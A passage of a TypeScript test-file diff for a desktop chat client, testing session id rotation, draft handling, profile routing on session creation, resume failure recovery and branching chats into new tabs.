+    creatingSessionRef: ref(false),
+    ensureSessionState: () => ({}) as ClientSessionState,
+    getRouteToken: () => 'token',
+    getRoutedStoredSessionId,
+    navigate: navigate as never,
+    requestGateway: async () => ({}) as never,
+    resetViewSync: vi.fn(),
+    runtimeIdByStoredSessionIdRef: ref(new Map<string, string>()),
+    selectedStoredSessionId: selectedStoredSessionIdRef.current,
+    selectedStoredSessionIdRef,
+    sessionStateByRuntimeIdRef: ref(new Map<string, ClientSessionState>()),
+    syncSessionStateToView: vi.fn(),
+    updateSessionState: () => ({}) as ClientSessionState
+  })
+
+  return null
+}
+
+describe('active stored-session id rotation routing', () => {
+  afterEach(() => {
+    cleanup()
+    setActiveSessionId(null)
+    setActiveSessionStoredIdRotation(null)
+    setSelectedStoredSessionId(null)
+    vi.restoreAllMocks()
+  })
+
+  it('follows a rotation while the same conversation still owns the foreground route', async () => {
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: 'runtime-A' }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: 'stored-A' }
+    const navigate = vi.fn()
+
+    setSelectedStoredSessionId('stored-A')
+    render(
+      <StoredIdRotationHarness
+        activeSessionIdRef={activeSessionIdRef}
+        getRoutedStoredSessionId={() => 'stored-A'}
+        navigate={navigate}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+      />
+    )
+
+    act(() => {
+      setActiveSessionStoredIdRotation({
+        nextStoredSessionId: 'stored-A-next',
+        previousStoredSessionId: 'stored-A',
+        runtimeSessionId: 'runtime-A'
+      })
+    })
+
+    await waitFor(() => expect(selectedStoredSessionIdRef.current).toBe('stored-A-next'))
+    expect($selectedStoredSessionId.get()).toBe('stored-A-next')
+    expect(navigate).toHaveBeenCalledWith(sessionRoute('stored-A-next'), { replace: true })
+    expect($activeSessionStoredIdRotation.get()).toBeNull()
+  })
+
+  it('keeps draft on the previous tip when the new tip row is not loaded yet', async () => {
+    const tipBefore = 'tip-root'
+    const tipAfter = 'tip-new-unloaded'
+    const runtimeSessionId = 'runtime-gap'
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: runtimeSessionId }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: tipBefore }
+    const navigate = vi.fn()
+
+    setSessions([])
+    stashSessionDraft(tipBefore, 'typed during gap', [])
+    setSelectedStoredSessionId(tipBefore)
+    setActiveSessionId(runtimeSessionId)
+
+    render(
+      <StoredIdRotationHarness
+        activeSessionIdRef={activeSessionIdRef}
+        getRoutedStoredSessionId={() => tipBefore}
+        navigate={navigate}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+      />
+    )
+
+    act(() => {
+      setActiveSessionStoredIdRotation({
+        nextStoredSessionId: tipAfter,
+        previousStoredSessionId: tipBefore,
+        runtimeSessionId
+      })
+    })
+
+    await waitFor(() => expect($selectedStoredSessionId.get()).toBe(tipAfter))
+    expect(takeSessionDraft(tipBefore).text).toBe('typed during gap')
+    expect(takeSessionDraft(tipAfter).text).toBe('')
+
+    clearSessionDraft(tipBefore)
+    clearSessionDraft(tipAfter)
+    setActiveSessionId(null)
+  })
+
+  it('parks an in-progress composer draft on the lineage root across tip rotation', async () => {
+    // Desktop draft must stay on the durable composer key (lineage root), not
+    // move onto the fresh tip — ChatBar scopes drafts via resolveComposerSessionKey.
+    const tipBefore = '20260720_062637_ad96b3'
+    const tipAfter = '20260720_071049_a28905'
+    const runtimeSessionId = 'runtime-desktop-thinking'
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: runtimeSessionId }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: tipBefore }
+    const navigate = vi.fn()
+    const typedWhileThinking = 'follow up I am still typing during thinking'
+
+    setSessions([storedSession({ id: tipAfter, message_count: 2, _lineage_root_id: tipBefore })])
+    stashSessionDraft(tipBefore, typedWhileThinking, [])
+    setSelectedStoredSessionId(tipBefore)
+    setActiveSessionId(runtimeSessionId)
+
+    render(
+      <StoredIdRotationHarness
+        activeSessionIdRef={activeSessionIdRef}
+        getRoutedStoredSessionId={() => tipBefore}
+        navigate={navigate}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+      />
+    )
+
+    act(() => {
+      setActiveSessionStoredIdRotation({
+        nextStoredSessionId: tipAfter,
+        previousStoredSessionId: tipBefore,
+        runtimeSessionId
+      })
+    })
+
+    await waitFor(() => expect($selectedStoredSessionId.get()).toBe(tipAfter))
+    // Durable key remains the lineage root — same scope ChatBar will keep using.
+    expect(takeSessionDraft(tipBefore).text).toBe(typedWhileThinking)
+    expect(takeSessionDraft(tipAfter).text).toBe('')
+
+    clearSessionDraft(tipBefore)
+    clearSessionDraft(tipAfter)
+    setActiveSessionId(null)
+    setSessions([])
+  })
+
+  it('does not overwrite a newer route intent before its resume effect has synchronized selection', async () => {
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: 'runtime-A' }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: 'stored-A' }
+    const navigate = vi.fn()
+
+    setSelectedStoredSessionId('stored-A')
+    render(
+      <StoredIdRotationHarness
+        activeSessionIdRef={activeSessionIdRef}
+        getRoutedStoredSessionId={() => 'stored-C'}
+        navigate={navigate}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+      />
+    )
+
+    act(() => {
+      setActiveSessionStoredIdRotation({
+        nextStoredSessionId: 'stored-A-next',
+        previousStoredSessionId: 'stored-A',
+        runtimeSessionId: 'runtime-A'
+      })
+    })
+
+    await waitFor(() => expect($activeSessionStoredIdRotation.get()).toBeNull())
+    expect(selectedStoredSessionIdRef.current).toBe('stored-A')
+    expect($selectedStoredSessionId.get()).toBe('stored-A')
+    expect(navigate).not.toHaveBeenCalled()
+  })
+
+  it('does not let the previous runtime jump back after selection already moved', async () => {
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: 'runtime-A' }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: 'stored-C' }
+    const navigate = vi.fn()
+
+    setSelectedStoredSessionId('stored-C')
+    render(
+      <StoredIdRotationHarness
+        activeSessionIdRef={activeSessionIdRef}
+        getRoutedStoredSessionId={() => 'stored-C'}
+        navigate={navigate}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+      />
+    )
+
+    act(() => {
+      setActiveSessionStoredIdRotation({
+        nextStoredSessionId: 'stored-A-next',
+        previousStoredSessionId: 'stored-A',
+        runtimeSessionId: 'runtime-A'
+      })
+    })
+
+    await waitFor(() => expect($activeSessionStoredIdRotation.get()).toBeNull())
+    expect(selectedStoredSessionIdRef.current).toBe('stored-C')
+    expect($selectedStoredSessionId.get()).toBe('stored-C')
+    expect(navigate).not.toHaveBeenCalled()
+  })
+
+  it('updates the underlying selection without navigating out of an overlay or page', async () => {
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: 'runtime-A' }
+    const selectedStoredSessionIdRef: MutableRefObject<string | null> = { current: 'stored-A' }
+    const navigate = vi.fn()
+
+    setSelectedStoredSessionId('stored-A')
+    render(
+      <StoredIdRotationHarness
+        activeSessionIdRef={activeSessionIdRef}
+        getRoutedStoredSessionId={() => null}
+        navigate={navigate}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+      />
+    )
+
+    act(() => {
+      setActiveSessionStoredIdRotation({
+        nextStoredSessionId: 'stored-A-next',
+        previousStoredSessionId: 'stored-A',
+        runtimeSessionId: 'runtime-A'
+      })
+    })
+
+    await waitFor(() => expect(selectedStoredSessionIdRef.current).toBe('stored-A-next'))
+    expect($selectedStoredSessionId.get()).toBe('stored-A-next')
+    expect(navigate).not.toHaveBeenCalled()
+  })
+})
+
+async function createWith(
+  profileSetup: () => void,
+  beforeCreate?: (handle: HarnessHandle) => Promise<void> | void
+): Promise<Record<string, unknown> | undefined> {
+  let createParams: Record<string, unknown> | undefined
+
+  const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+    if (method === 'session.create') {
+      createParams = params
+
+      return { session_id: RUNTIME_SESSION_ID, stored_session_id: null } as never
+    }
+
+    return {} as never
+  })
+
+  setCurrentCwd('')
+  setNewChatWorkspaceTarget(undefined)
+  profileSetup()
+
+  let handle: HarnessHandle | null = null
+  render(<Harness onReady={h => (handle = h)} requestGateway={requestGateway} />)
+  await waitFor(() => expect(handle).not.toBeNull())
+
+  if (beforeCreate) {
+    await act(async () => {
+      await beforeCreate(handle!)
+    })
+  }
+
+  await act(async () => {
+    await handle!.createBackendSessionForSend()
+  })
+
+  return createParams
+}
+
+describe('startFreshSessionDraft', () => {
+  afterEach(() => cleanup())
+
+  it('can reset machine-bound session state without closing the current overlay route', async () => {
+    const navigate = vi.fn()
+    const requestGateway = vi.fn(async () => ({}) as never)
+    let handle: HarnessHandle | null = null
+
+    render(<Harness navigate={navigate} onReady={value => (handle = value)} requestGateway={requestGateway} />)
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    act(() => handle!.startFreshSessionDraft({ preserveRoute: true, workspaceTarget: null }))
+
+    expect(navigate).not.toHaveBeenCalled()
+    expect($currentCwd.get()).toBe('')
+    expect($newChatWorkspaceTarget.get()).toBeNull()
+  })
+
+  it('fronts the workspace without closing a terminal that is merely behind a tab', async () => {
+    // Regression: a persisted terminal takeover kept the terminal fronted
+    // after New Session / ⌘N. The fix is to reveal the workspace — NOT to
+    // clear the takeover atom. That atom is the terminal's open/closed state
+    // in every layout: clearing it here closed a terminal sitting in its own
+    // zone (Default / Terminal deck / Quad), and persisted a `false` that left
+    // the Focus tab unable to mount its workspace after a restart. Behind a
+    // tab the terminal is hidden, not closed.
+    const navigate = vi.fn()
+    const requestGateway = vi.fn(async () => ({}) as never)
+    let handle: HarnessHandle | null = null
+
+    setTerminalTakeover(true)
+    expect($terminalTakeover.get()).toBe(true)
+
+    render(<Harness navigate={navigate} onReady={value => (handle = value)} requestGateway={requestGateway} />)
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    act(() => handle!.startFreshSessionDraft({ preserveRoute: true, workspaceTarget: null }))
+
+    expect(revealTreePane).toHaveBeenCalledWith('workspace')
+    expect($terminalTakeover.get()).toBe(true)
+  })
+})
+
+describe('createBackendSessionForSend profile routing', () => {
+  afterEach(() => {
+    cleanup()
+    $newChatProfile.set(null)
+    $activeGatewayProfile.set('default')
+    $projectScope.set(ALL_PROJECTS)
+    $projectTree.set([])
+    $currentCwd.set('')
+    $currentFastMode.set(false)
+    $currentModel.set('')
+    $currentProvider.set('')
+    $currentReasoningEffort.set('')
+    setNewChatWorkspaceTarget(undefined)
+    vi.restoreAllMocks()
+  })
+
+  it('routes a plain new chat (no explicit profile) to the live gateway profile', async () => {
+    // The "rubberband to default" bug: the top New Session button clears
+    // $newChatProfile to null. In global-remote mode one backend serves every
+    // profile, so an omitted `profile` lands the chat on the launch (default)
+    // profile. The session must instead carry the active gateway profile.
+    const params = await createWith(() => {
+      $activeGatewayProfile.set('coder')
+      $newChatProfile.set(null)
+    })
+
+    expect(params).toMatchObject({ profile: 'coder' })
+  })
+
+  it('honours an explicit per-profile "+" selection', async () => {
+    const params = await createWith(() => {
+      $activeGatewayProfile.set('coder')
+      $newChatProfile.set('analyst')
+    })
+
+    expect(params).toMatchObject({ profile: 'analyst' })
+  })
+
+  it('passes the default profile for single-profile users (backend resolves it to launch)', async () => {
+    const params = await createWith(() => {
+      $activeGatewayProfile.set('default')
+      $newChatProfile.set(null)
+    })
+
+    expect(params).toMatchObject({ profile: 'default' })
+  })
+
+  it('tags new desktop chats as desktop sessions', async () => {
+    const params = await createWith(() => {})
+
+    expect(params).toMatchObject({ source: 'desktop' })
+  })
+
+  it('passes the current workspace cwd into session.create', async () => {
+    const params = await createWith(() => {
+      $currentCwd.set('/remote/worktree')
+    })
+
+    expect(params).toMatchObject({ cwd: '/remote/worktree' })
+  })
+
+  it('freezes the visible selector state before profile readiness and sends fast: false explicitly', async () => {
+    const profileReady = deferred<void>()
+    vi.mocked(ensureGatewayProfile).mockReturnValueOnce(profileReady.promise)
+
+    setCurrentModel('anthropic/claude-sonnet-4.6')
+    setCurrentProvider('anthropic')
+    setCurrentReasoningEffort('high')
+    setCurrentFastMode(false)
+
+    let createParams: Record<string, unknown> | undefined
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.create') {
+        createParams = params
+
+        return { session_id: RUNTIME_SESSION_ID, stored_session_id: null } as never
+      }
+
+      return {} as never
+    })
+
+    let handle: HarnessHandle | null = null
+    render(<Harness onReady={next => (handle = next)} requestGateway={requestGateway} />)
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    let createPromise!: Promise<null | string>
+    act(() => {
+      createPromise = handle!.createBackendSessionForSend()
+    })
+    await waitFor(() => expect(ensureGatewayProfile).toHaveBeenCalled())
+
+    // A background refresh or a second click can mutate the sticky atoms while
+    // the profile is waking. This send must still use what was visible at Enter.
+    setCurrentModel('openai/gpt-5.5')
+    setCurrentProvider('openai-codex')
+    setCurrentReasoningEffort('low')
+    setCurrentFastMode(true)
+    profileReady.resolve()
+
+    await act(async () => {
+      await createPromise
+    })
+
+    expect(createParams).toMatchObject({
+      fast: false,
+      model: 'anthropic/claude-sonnet-4.6',
+      provider: 'anthropic',
+      reasoning_effort: 'high'
+    })
+  })
+
+  it('falls back to the entered project cwd when the current cwd is blank', async () => {
+    const params = await createWith(() => {
+      $projectTree.set([
+        {
+          id: 'p_app',
+          label: 'App',
+          path: '/repo/app',
+          repos: [{ groups: [], id: '/repo/app', label: 'app', path: '/repo/app', sessionCount: 0 }],
+          sessionCount: 0
+        }
+      ])
+      $projectScope.set('p_app')
+      $currentCwd.set('')
+    })
+
+    expect(params).toMatchObject({ cwd: '/repo/app' })
+  })
+})
+
+// ── Resume failure recovery (the "stuck loading session window" bug) ──────────
+// When session.resume rejects AND the REST transcript fallback ALSO fails, the
+// hook must (a) not throw out of the fallback (which stranded the loader), and
+// (b) arm $resumeFailedSessionId so use-route-resume can retry. A resume that
+// succeeds must NOT leave the flag armed.
+function ResumeHarness({
+  onStateUpdate,
+  onReady,
+  requestGateway,
+  runtimeIdByStoredSessionIdRef,
+  selectedStoredSessionId = null,
+  sessionStateByRuntimeIdRef
+}: {
+  onStateUpdate?: (sessionId: string, state: ClientSessionState) => void
+  onReady: (resume: (storedSessionId: string, replaceRoute?: boolean) => Promise<unknown>) => void
+  requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>
+  runtimeIdByStoredSessionIdRef?: MutableRefObject<Map<string, string>>
+  selectedStoredSessionId?: string | null
+  sessionStateByRuntimeIdRef?: MutableRefObject<Map<string, ClientSessionState>>
+}) {
+  const ref = <T,>(value: T): MutableRefObject<T> => ({ current: value })
+
+  const actions = useSessionActions({
+    activeSessionId: null,
+    activeSessionIdRef: ref<string | null>(null),
+    busyRef: ref(false),
+    creatingSessionRef: ref(false),
+    ensureSessionState: () => ({}) as ClientSessionState,
+    getRouteToken: () => 'token',
+    getRoutedStoredSessionId: () => null,
+    navigate: vi.fn() as never,
+    requestGateway,
+    resetViewSync: vi.fn(),
+    runtimeIdByStoredSessionIdRef: runtimeIdByStoredSessionIdRef ?? ref(new Map<string, string>()),
+    selectedStoredSessionId,
+    selectedStoredSessionIdRef: ref<string | null>(selectedStoredSessionId),
+    sessionStateByRuntimeIdRef: sessionStateByRuntimeIdRef ?? ref(new Map<string, ClientSessionState>()),
+    syncSessionStateToView: vi.fn(),
+    updateSessionState: (sessionId, updater) => {
+      const next = updater({} as ClientSessionState)
+      onStateUpdate?.(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    onReady(actions.resumeSession)
+  }, [actions.resumeSession, onReady])
+
+  return null
+}
+
+describe('resumeSession failure recovery', () => {
+  afterEach(() => {
+    cleanup()
+    setActiveSessionId(null)
+    setResumeFailedSessionId(null)
+    setMessages([])
+    setSessions([])
+    vi.restoreAllMocks()
+  })
+
+  async function runResume(
+    requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>,
+    options: {
+      runtimeIdByStoredSessionIdRef?: MutableRefObject<Map<string, string>>
+      sessionStateByRuntimeIdRef?: MutableRefObject<Map<string, ClientSessionState>>
+    } = {}
+  ): Promise<void> {
+    let resume: ((storedSessionId: string, replaceRoute?: boolean) => Promise<unknown>) | null = null
+    render(<ResumeHarness onReady={r => (resume = r)} requestGateway={requestGateway} {...options} />)
+    await waitFor(() => expect(resume).not.toBeNull())
+    await resume!('stored-1', true)
+  }
+
+  it('arms $resumeFailedSessionId when resume RPC and REST fallback both fail', async () => {
+    // session.resume rejects (e.g. timeout against a wedged backend)...
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.resume') {
+        throw new Error('request timed out: session.resume')
+      }
+
+      return {} as never
+    })
+
+    // ...and the REST transcript fallback also rejects (backend unreachable).
+    vi.mocked(getSessionMessages).mockRejectedValue(new Error('network down'))
+
+    await runResume(requestGateway)
+
+    // The window is no longer silently stranded: the failure latch is armed for
+    // the stored session, which use-route-resume consumes to retry.
+    expect($resumeFailedSessionId.get()).toBe('stored-1')
+  })
+
+  it('does NOT arm the failure latch when the resume RPC fails but the REST fallback paints history', async () => {
+    // session.resume rejects, but the REST transcript fallback succeeds and
+    // hydrates a readable transcript — the window is NOT stranded.
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.resume') {
+        throw new Error('request timed out: session.resume')
+      }
+
+      return {} as never
+    })
+
+    vi.mocked(getSessionMessages).mockResolvedValue({
+      messages: [
+        { content: 'hello', role: 'user', timestamp: 1 },
+        { content: 'hi there', role: 'assistant', timestamp: 2 }
+      ],
+      session_id: 'stored-1'
+    } as never)
+
+    await runResume(requestGateway)
+
+    // Arming here would auto-retry a window that already shows history and,
+    // on exhaustion, blank that transcript behind the error overlay — a
+    // regression vs. plain fallback-success. The latch must stay clear.
+    expect($resumeFailedSessionId.get()).toBeNull()
+    // The fallback transcript is visible.
+    expect($messages.get().length).toBeGreaterThan(0)
+  })
+
+  it('preserves an optimistic user message during a same-session reconnect', async () => {
+    setMessages([
+      {
+        id: 'stored-user',
+        role: 'user',
+        parts: [{ type: 'text', text: 'earlier question' }]
+      },
+      {
+        id: 'stored-assistant',
+        role: 'assistant',
+        parts: [{ type: 'text', text: 'earlier answer' }]
+      },
+      {
+        id: 'user-optimistic',
+        role: 'user',
+        parts: [{ type: 'text', text: 'message sent during reconnect' }]
+      }
+    ])
+
+    const storedMessages = [
+      { content: 'earlier question', role: 'user', timestamp: 1 },
+      { content: 'earlier answer', role: 'assistant', timestamp: 2 }
+    ]
+
+    vi.mocked(getSessionMessages).mockResolvedValue({ messages: storedMessages, session_id: 'stored-1' } as never)
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.resume') {
+        return {
+          session_id: 'runtime-1',
+          session_key: 'stored-1',
+          resumed: 'stored-1',
+          message_count: 2,
+          messages: storedMessages,
+          info: {}
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let resume: ((storedSessionId: string, replaceRoute?: boolean) => Promise<unknown>) | null = null
+    render(
+      <ResumeHarness onReady={r => (resume = r)} requestGateway={requestGateway} selectedStoredSessionId="stored-1" />
+    )
+    await waitFor(() => expect(resume).not.toBeNull())
+    await resume!('stored-1', true)
+
+    expect($messages.get().map(message => message.id)).toContain('user-optimistic')
+  })
+
+  it('restores the in-flight turn and queued user prompt after a full renderer restart', async () => {
+    const storedMessages = [
+      { content: 'earlier question', role: 'user', timestamp: 1 },
+      { content: 'earlier answer', role: 'assistant', timestamp: 2 }
+    ]
+
+    vi.mocked(getSessionMessages).mockResolvedValue({ messages: storedMessages, session_id: 'stored-1' } as never)
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.resume') {
+        return {
+          session_id: 'runtime-1',
+          session_key: 'stored-1',
+          resumed: 'stored-1',
+          message_count: storedMessages.length,
+          messages: storedMessages,
+          running: true,
+          inflight: {
+            user: 'current prompt',
+            assistant: 'partial answer',
+            streaming: true
+          },
+          queued: { user: 'newest prompt' },
+          info: {}
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let resumedState: ClientSessionState | undefined
+    let resume: ((storedSessionId: string, replaceRoute?: boolean) => Promise<unknown>) | null = null
+    render(
+      <ResumeHarness
+        onReady={ready => (resume = ready)}
+        onStateUpdate={(_sessionId, state) => (resumedState = state)}
+        requestGateway={requestGateway}
+      />
+    )
+    await waitFor(() => expect(resume).not.toBeNull())
+    await resume!('stored-1', true)
+
+    const renderedMessages = JSON.stringify(resumedState?.messages)
+    expect(renderedMessages).toContain('current prompt')
+    expect(renderedMessages).toContain('partial answer')
+    expect(renderedMessages).toContain('newest prompt')
+  })
+
+  it('uses the continuation projection when resume rotates an equal-length stored transcript', async () => {
+    const parentMessages = [
+      { content: 'question before compression', role: 'user', timestamp: 1 },
+      { content: 'answer before compression', role: 'assistant', timestamp: 2 }
+    ]
+
+    const continuationMessages = [
+      { content: 'prompt after compression', role: 'user', timestamp: 3 },
+      { content: 'answer after compression', role: 'assistant', timestamp: 4 }
+    ]
+
+    vi.mocked(getSessionMessages).mockResolvedValue({
+      messages: parentMessages,
+      session_id: 'stored-1'
+    } as never)
+
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.resume') {
+        return {
+          session_id: 'runtime-continuation',
+          session_key: 'stored-continuation',
+          resumed: 'stored-continuation',
+          message_count: continuationMessages.length,
+          messages: continuationMessages,
+          info: {}
+        } as never
+      }
+
+      return {} as never
+    })
+
+    let resumedState: ClientSessionState | undefined
+    let resume: ((storedSessionId: string, replaceRoute?: boolean) => Promise<unknown>) | null = null
+
+    render(
+      <ResumeHarness
+        onReady={ready => (resume = ready)}
+        onStateUpdate={(_sessionId, state) => (resumedState = state)}
+        requestGateway={requestGateway}
+      />
+    )
+    await waitFor(() => expect(resume).not.toBeNull())
+    await resume!('stored-1', true)
+
+    const renderedMessages = JSON.stringify(resumedState?.messages)
+    expect(renderedMessages).toContain('prompt after compression')
+    expect(renderedMessages).toContain('answer after compression')
+    expect(renderedMessages).not.toContain('answer before compression')
+  })
+
+  it('does NOT throw out of the fallback when REST also fails (no unhandled rejection)', async () => {
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.resume') {
+        throw new Error('request timed out: session.resume')
+      }
+
+      return {} as never
+    })
+
+    vi.mocked(getSessionMessages).mockRejectedValue(new Error('network down'))
+
+    // resumeSession must resolve (swallow the fallback failure), not reject.
+    await expect(runResume(requestGateway)).resolves.toBeUndefined()
+  })
+
+  it('leaves the failure latch clear when resume succeeds', async () => {
+    // Pre-arm to prove a successful resume clears it (entry-clear path).
+    setResumeFailedSessionId('stored-1')
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.resume') {
+        return { session_id: 'runtime-1', resumed: params?.session_id, messages: [], info: {} } as never
+      }
+
+      return {} as never
+    })
+
+    vi.mocked(getSessionMessages).mockResolvedValue({ messages: [] } as never)
+
+    await runResume(requestGateway)
+
+    expect($resumeFailedSessionId.get()).toBeNull()
+  })
+
+  it('resumes via the gateway default (deferred build) — not lazy, no eager opt-out', async () => {
+    // The switch-latency fix lives backend-side: a normal cold resume gets the
+    // gateway's default DEFERRED build (transcript returns immediately, agent
+    // pre-warms in the background). The client must NOT force the synchronous
+    // path (eager_build) and is only `lazy` for subagent watch windows.
+    let resumeParams: Record<string, unknown> | undefined
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.resume') {
+        resumeParams = params
+
+        return { session_id: 'runtime-1', resumed: params?.session_id, messages: [], info: {} } as never
+      }
+
+      return {} as never
+    })
+
+    vi.mocked(getSessionMessages).mockResolvedValue({ messages: [] } as never)
+
+    await runResume(requestGateway)
+
+    expect(resumeParams).not.toHaveProperty('lazy')
+    expect(resumeParams).not.toHaveProperty('eager_build')
+    expect(resumeParams).toMatchObject({ source: 'desktop', omit_messages: true })
+  })
+
+  it('arms the failure latch when resume succeeds with an empty transcript for a non-empty stored session', async () => {
+    setSessions([storedSession({ message_count: 4 })])
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.resume') {
+        return { session_id: 'runtime-1', resumed: params?.session_id, messages: [], info: {} } as never
+      }
+
+      return {} as never
+    })
+
+    vi.mocked(getSessionMessages).mockResolvedValue({ messages: [], session_id: 'stored-1' } as never)
+
+    await runResume(requestGateway)
+
+    expect($resumeFailedSessionId.get()).toBe('stored-1')
+    expect($activeSessionId.get()).toBeNull()
+    expect($messages.get()).toEqual([])
+  })
+
+  it('does not reuse an empty cached runtime view for a stored session with history', async () => {
+    const runtimeIdByStoredSessionIdRef = {
+      current: new Map([['stored-1', 'runtime-stale']])
+    } satisfies MutableRefObject<Map<string, string>>
+
+    const sessionStateByRuntimeIdRef = {
+      current: new Map([
+        [
+          'runtime-stale',
+          {
+            awaitingResponse: false,
+            branch: '',
+            busy: false,
+            cwd: '',
+            fast: false,
+            interimBoundaryPending: false,
+            interrupted: false,
+            messages: [],
+            model: '',
+            needsInput: false,
+            pendingBranchGroup: null,
+            personality: '',
+            provider: '',
+            reasoningEffort: '',
+            sawAssistantPayload: false,
+            serviceTier: '',
+            storedSessionId: 'stored-1',
+            streamId: null,
+            turnStartedAt: null,
+            usage: null,
+            yolo: false
+          }
+        ]
+      ])
+    } satisfies MutableRefObject<Map<string, ClientSessionState>>
+
+    setSessions([storedSession({ message_count: 4 })])
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.resume') {
+        return { session_id: 'runtime-1', resumed: params?.session_id, messages: [], info: {} } as never
+      }
+
+      return {} as never
+    })
+
+    vi.mocked(getSessionMessages).mockResolvedValue({
+      messages: [{ content: 'existing text', role: 'user', timestamp: 1 }],
+      session_id: 'stored-1'
+    } as never)
+
+    await runResume(requestGateway, {
+      runtimeIdByStoredSessionIdRef,
+      sessionStateByRuntimeIdRef
+    })
+
+    expect(requestGateway).not.toHaveBeenCalledWith('session.usage', { session_id: 'runtime-stale' })
+    expect(runtimeIdByStoredSessionIdRef.current.has('stored-1')).toBe(false)
+    expect(sessionStateByRuntimeIdRef.current.has('runtime-stale')).toBe(false)
+    expect($activeSessionId.get()).toBe('runtime-1')
+    expect($messages.get().length).toBe(1)
+  })
+})
+
+function BranchHarness({
+  activeSessionId = null,
+  navigate = vi.fn(),
+  onCurrentReady,
+  onReady,
+  requestGateway
+}: {
+  activeSessionId?: string | null
+  navigate?: ReturnType<typeof vi.fn>
+  onCurrentReady?: (branchCurrentSession: (messageId?: string) => Promise<boolean>) => void
+  onReady: (branchStoredSession: (storedSessionId: string, sessionProfile?: string | null) => Promise<boolean>) => void
+  requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>
+}) {
+  const ref = <T,>(value: T): MutableRefObject<T> => ({ current: value })
+
+  const actions = useSessionActions({
+    activeSessionId,
+    activeSessionIdRef: ref<string | null>(activeSessionId),
+    busyRef: ref(false),
+    creatingSessionRef: ref(false),
+    ensureSessionState: () => ({}) as ClientSessionState,
+    getRouteToken: () => 'token',
+    getRoutedStoredSessionId: () => null,
+    navigate: navigate as never,
+    requestGateway,
+    resetViewSync: vi.fn(),
+    runtimeIdByStoredSessionIdRef: ref(new Map<string, string>()),
+    selectedStoredSessionId: null,
+    selectedStoredSessionIdRef: ref<string | null>(null),
+    sessionStateByRuntimeIdRef: ref(new Map<string, ClientSessionState>()),
+    syncSessionStateToView: vi.fn(),
+    updateSessionState: () => ({}) as ClientSessionState
+  })
+
+  useEffect(() => {
+    onReady(actions.branchStoredSession)
+    onCurrentReady?.(actions.branchCurrentSession)
+  }, [actions.branchCurrentSession, actions.branchStoredSession, onCurrentReady, onReady])
+
+  return null
+}
+
+describe('branchStoredSession desktop source tagging', () => {
+  afterEach(() => {
+    cleanup()
+    setSessions([])
+    $sessionTiles.set([])
+    setSelectedStoredSessionId(null)
+    vi.restoreAllMocks()
+  })
+
+  it('opens the branch as a new tab and leaves the parent chat selected', async () => {
+    const requestGateway = vi.fn(async (method: string) => {
+      if (method === 'session.create') {
+        return { session_id: 'branch-runtime', stored_session_id: 'branch-stored' } as never
+      }
+
+      return {} as never
+    })
+
+    // Parent is the currently-open (primary) chat.
+    setSessions([storedSession({ id: 'stored-parent', message_count: 1 })])
+    setSelectedStoredSessionId('stored-parent')
+    vi.mocked(getSessionMessages).mockResolvedValue({
+      messages: [{ content: 'branch me', role: 'user', timestamp: 1 }],
+      session_id: 'stored-parent'
+    } as never)
+
+    const navigate = vi.fn()
+    let branchStoredSession: ((storedSessionId: string) => Promise<boolean>) | null = null
+    render(
+      <BranchHarness
+        navigate={navigate}
+        onReady={branch => (branchStoredSession = branch)}
+        requestGateway={requestGateway}
+      />
+    )
+    await waitFor(() => expect(branchStoredSession).not.toBeNull())
+
+    await expect(branchStoredSession!('stored-parent')).resolves.toBe(true)
+
+    // The branch opened as its own tab...
+    expect($sessionTiles.get().some(tile => tile.storedSessionId === 'branch-stored')).toBe(true)
+    // ...without stealing the primary selection or navigating away from the parent.
+    expect($selectedStoredSessionId.get()).toBe('stored-parent')
+    expect(navigate).not.toHaveBeenCalledWith(sessionRoute('branch-stored'))
+  })
+
+  it('tags desktop branch sessions as desktop sessions', async () => {
+    let createParams: Record<string, unknown> | undefined
+
+    const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'session.create') {
+        createParams = params
+
+        return { session_id: 'branch-runtime', stored_session_id: 'branch-stored' } as never
+      }
+
+      return {} as never
+    })
+
+    setSessions([storedSession({ id: 'stored-parent', message_count: 1 })])
+    vi.mocked(getSessionMessages).mockResolvedValue({
+      messages: [{ content: 'branch me', role: 'user', timestamp: 1 }],
+      session_id: 'stored-parent'
